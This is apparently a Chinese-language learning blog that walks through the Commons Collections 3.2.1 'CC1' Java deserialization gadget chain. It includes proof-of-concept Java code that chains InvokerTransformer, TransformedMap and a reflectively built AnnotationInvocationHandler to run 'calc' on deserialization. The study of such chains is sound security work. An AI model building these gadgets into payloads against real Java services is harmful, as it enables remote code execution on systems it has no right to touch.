参考 【【Java反序列化链】CommonsCollections1 深入浅出,详细分析(cc1链)】【Java反序列化链】CommonsCollections1 深入浅出,详细分析(cc1链)_哔哩哔哩_bilibili
java反序列化是java安全中非常重要的一点,也是最难的一点,我只能勉强跟着链子走一遍附上一些浅显的理解。
CC1链
也就说cc链就是由这个Commons Collections组件引起的
jdk 是8U321
组件的依赖版本是3.2.1
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
有个一个java反序列化工具我看b站视频的时候up主自己写的工具挺有实力的。
然后照着Java安全入门(二)——CC链1 分析+详解_cc1利用链-CSDN博客
将那个src文件源码拖进去了后面要用到的
很有道理,必须要实现序列化接口以及重写了readobject函数才有被利用的可能
对于分析其实是反着分析前辈构造好的链子,从后到前分析为什么会这样选择链子
现在分析的目的是搞明CC1链是如何实现了命令执行
首先是Transfomer这个接口类,提供了一个对象转换方法transform(接收一个对象,然后对对象作一些操作并输出)
就是这个接口的某个实现类实现了命令执行
其中相关的就是ConstantTransformer、invokerTransformer、ChainedTransformer 以及TransformedMap
可以右键转到实现查看
首先转到直接和命令执行相关的类invokerTransformer
可以看到重写了transform 并且需要传入一个对象
观察发现存在iMethodName iParamTypes iArgs 三个参数。可以往上看看构造方法
可以看到这个三个都是可以控制的变量methodName
String methodName:这通常是一个方法的名称,表示你想要调用的方法的名称。函数名 exec
Class[] paramTypes:这是一个 Class 类型的数组,包含了方法参数的类型信息。数组中的每个元素都对应于方法参数的一个类型,且顺序应与方法定义中的参数类型顺序一致。形参String.class
Object[] args:这是一个 Object 类型的数组,包含了实际传递给方法的参数值。数组中的元素数量和类型应与 paramTypes 数组中定义的参数数量和类型相匹配。实参 calc
这里可以直接实例化尝试进行一下命令执行
也就是以这个命令执行为基础向上去找哪里调用了这个InvokerTransformer 类中的 transform方法,这里我们在已经有答案的情况下可以很快的找到TransformedMap这个类
并且这个类刚好是实现了序列化接口重写了readobject,当然不一定是这里是入口类,也可能只是链子的一部分而已
因为Transformer是接口所以只要能实现这个接口的类都可以在这里触发这个map,比如这里就是keyTransformer和valueTransformer两个实现类对象名称,实际实例化的时候这里可以是InvokerTransformer invokerTransformer
并且此类中的checkSetValue函数就是我们需要关注的触发的函数,虽然还有另外两个也触发了transform函数。
如果此时的valueTransformer=invokerTransformer,并且进行如下的调用
checkSetValue(runtime); // Runtime runtime = Runtime.getRuntime();
那么实际执行的就是return invokerTransformer.transform(runtime);
那么这里首先是想办法将invokerTransformer传入,往上翻可以发现这个类的构造方法是可以赋值的,另外这里protected的修饰符只能在本类中使用
继续往上发现有一个decorate的方法他的作用是接受参数构造一个这个类的对象,正好解决了上面的创建次对象的问题,从这里可以传入参数构造我们想要的对象
但是又说回来前面的checkSetValue被protected修饰只能在本类中被修饰
于是寻找checkSetValue的用法看有哪里使用了这个函数转而去想办法间接的执行checkSetValue
发现有个setValue间接的执行了checkSetValue
观察发现setValue所在的类其实就是TransformedMap的父类,反过来观察decorate函数,其实是一个装饰器,作用就是传入一个map对象,然后返回一个有更多功能的增强版的新map对象回来,也就是说经过增强后新的map对象就有了新的setValue函数。这里感觉挺难理解的,反正我的理解就是一个装饰器的作用。
可以写一段代码来展示
package com.com.ms08067;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CC1test0 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
//创建原始的map对象
HashMap<Object, Object> map = new HashMap<>();
//随意赋值
map.put("a","b");
//使用transfoemedmap对原始的map进行增强,得到增强后的decorate对象
Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
//遍历map集的同时,可以得到集中每个条目对象entry,并且增强过后每个条目都有新的setValue函数也就是可以触发checkSetValue
for (Map.Entry<Object,Object> entry:decorate.entrySet()){
System.out.println(entry);//打印出来就是map键值对的内容
entry.setValue(runtime);//于是这里就相当于触发了执行命令invokerTransformer.transform(runtime);
}
}
}
了解了setvalue的触发原理,那么就要继续寻找可以触发setvalue的调用
最好是能找到序列化入口类,如果不能就继续找中间类,当然在前人的智慧下,发现了入口类也就是实现了序列化接口并且重写的readobject中执行了setvalue的类
也就是这个的完整的链条就是这样的,相当妙。
这个时候还得继续解决问题,那就是如果让memberValues是我们想要的TransformedMap增强过后 Map呢
不过还好AnnotationInvocationHandler的构造方法中可以传入自己的Map。
Class type:这是注解的 Class 对象,表示你想要创建的代理的注解类型。这个类必须是 java.lang.annotation.Annotation 的一个子类,即它必须是一个注解类型。
Map memberValues:这是一个 Map,包含了注解成员的名称(作为 String 类型的键)和它们的值(作为 Object 类型的值)。这个 Map 用于存储注解成员的值,这些值将在代理对象上进行动态处理。
但是这个类和这个方法都不是public修饰。。。所以只能使用反射的方式进行
代码展示
package com.com.ms08067;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import org.junit.jupiter.api.Test;
import java.io.IOException;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class CC1test0 {
public static void main(String[] args) throws Exception {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{"calc"}
);
HashMap<Object, Object> map = new HashMap<>();
map.put("a","b");
//使用transfoemedmap对原始的map进行增强
Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
Class<?> Clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
//获取构造方法
Constructor<?> constructor = Clazz.getDeclaredConstructor(Class.class, Map.class);//传入形参
constructor.setAccessible(true);//非公开就要设置一下变为公开的
Object o = constructor.newInstance(Target.class, decorate);//拿到构造方法可以构造对象了,传入Target注释类型以及前面设置的Map对象decorate
//这里不能直接拿着o对象执行readobject函数因为在类中是readobject是私有的。。。
//所以这里可以先进行序列化然后再出反反序列化,反序列化就会触发readobject了
//这里是自己写的序列化方法
serial.serialize(o);
//反序列化传入文件名
//此时可以在readobject打个断点调试一下,发现确实是进入了readobject方法
serial.unserialize("ser.bin");
}
}
import org.junit.jupiter.api.Test;
import java.io.*;
//自定义的序列化类
public class serial {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin"));;
objectOutputStream.writeObject(obj);
}
public static Object unserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(filename));
Object obj = objectInputStream.readObject();
return obj;
}
}
执行进入readobject了但是又遇到了问题
要想执行setvalue必须经过两个if的判断
第一个判断memberType != null
memberType = memberTypes.get(name) 所以只要memberTypes中的name不为空就可以
Map> memberTypes = annotationType.memberTypes();
其中annotationType = AnnotationType.getInstance(type);
最后找到type不就是一开始构造的时候传入的吗,也就是个注解的 Class 对象
回到前面 annotationType.memberTypes(); 注解对象的memberTypes()方法
那么可以尝试执行一下这个memberTypes函数看看得到什么东西
也就是如果传入的注释是Target然后memberTypes.get(value)返回的结果就不会是null,这里就用Target比较好因为他是java内库中携带的。
get(name)中的name是String name = memberValue.getKey();也就是传入的map集中的一个键值对中的key
也就是之前前面传入的map集中传个value为key的键值对就可以了
可以打断点调试一下
第一个if过了后第二个if其实也就过了
第二个if就判断了一下是否是实例化的类,传入的是一个实例所以也过了
最后进入了setvalue但是看这个里面好像没有我们可以控制的变量,里面好像是new了个新的对象放进去了
这里就用到ConstantTransformer,这个类中的transform无论你传入什么值他都会返回是一个常量,并且这个常量的值是在构造的时候传入的
这样确实可以使无论setvalue里面是啥,反正执行了都是想要的runtime
但是这样没有了invokerTransformer???那还执行个嘚的命令
于是这里就用上了ChainedTransformer类
这个类他传入一个transformer数组,然后链式调用数组里的这些transformer,前一个的输出作为后一个的输入
于是可以这样写
将constantTransformer的输出作为invokerTransformer的输入于是可以执行命令
有了这个chain那么一切都可以串起来了
最后遇到的问题是runtime不可以反序列化
解决办法是虽然runtime没有实现序列化接口但是class类实现了,通过class类去调用runtime实现
输出的确实是runtime对象
最终的代码,这一段全是反射调用我看的不怎么懂。
最终完整的代码
完整的链子追踪起来还是挺复杂的,里面很多地方也都只是浅尝而止,基础还是不牢固反射机制还学的不太明白。
等多看几条链子就老实了。。。